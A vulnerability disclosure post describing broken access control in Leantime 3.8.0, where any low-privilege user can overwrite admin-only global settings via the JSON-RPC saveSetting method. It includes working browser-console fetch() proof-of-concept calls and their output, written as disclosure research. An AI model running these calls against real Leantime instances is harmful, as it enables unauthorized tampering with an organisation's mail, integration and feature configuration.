Leantime is a popular open-source project-management app. Its front-end talks to a JSON-RPC API, and several of those API methods forgot to check who is calling them. We already covered how that lets any low-privilege user make themselves an administrator. This post covers a second issue from the same root cause, any logged-in user with the lowest role read-only, commenter, or editor can write or overwrite any global application setting, configuration that's meant to be admin-only.
We verified this against the current release (leantime/leantime:latest, 3.8.0).
- Type: Missing authorization (CWE-862) / broken access control
- Access required: any one ordinary logged-in account (no admin rights)
- Impact: tamper with instance-wide configuration (company settings, integrations/SMTP, feature & telemetry toggles, …)
- Severity: CVSS 3.1 7.1 (High)
Reproducing it from the browser
No special tools , just the browser you're logged into.
-
Log in to Leantime as an ordinary low-privilege user (e.g. a read-only account).
-
Press F12 - Console.
-
Write a global setting:
fetch('/api/jsonrpc', { method:'POST', credentials:'include', headers:{ 'Content-Type':'application/json', 'X-Requested-With':'XMLHttpRequest' }, body: JSON.stringify({ jsonrpc:'2.0', id:1, method:'leantime.rpc.setting.setting.saveSetting', params:{ key:'companysettings.SECTEST', value:'written-by-low-priv' } }) }).then(r => r.json()).then(console.log); // -> {result: true} -
Read it back to confirm it persisted:
fetch('/api/jsonrpc', { method:'POST', credentials:'include', headers:{ 'Content-Type':'application/json', 'X-Requested-With':'XMLHttpRequest' }, body: JSON.stringify({ jsonrpc:'2.0', id:1, method:'leantime.rpc.setting.setting.getSetting', params:{ key:'companysettings.SECTEST' } }) }).then(r => r.json()).then(console.log); // -> {result: "written-by-low-priv"}
Logged in as a role-5 (read-only) user against 3.8.0:
saveSetting(companysettings.SECTEST, "written-by-readonly") -> {"result": true}
getSetting(companysettings.SECTEST) -> {"result": "written-by-readonly"}
same calls without a session -> 401 Unauthorized
The value was persisted to the zp_settings table - written by a user who, by design, shouldn't be able to change anything.
Impact
Global settings drive instance-wide behavior. Depending on the deployment, an attacker who can overwrite them can tamper with company/branding configuration, integration and mail settings, and feature or telemetry toggles. Because any ordinary account is enough, a single low-trust user (or a stolen low-privilege session) can quietly alter the configuration the whole installation relies on.
Timeline
- 2026-06-02 - Reported to the vendor ([email protected]), and submitted to VulDB.
Credit: Jobyer Ahmed, Bytium.
Reference
- Application: https://github.com/Leantime/leantime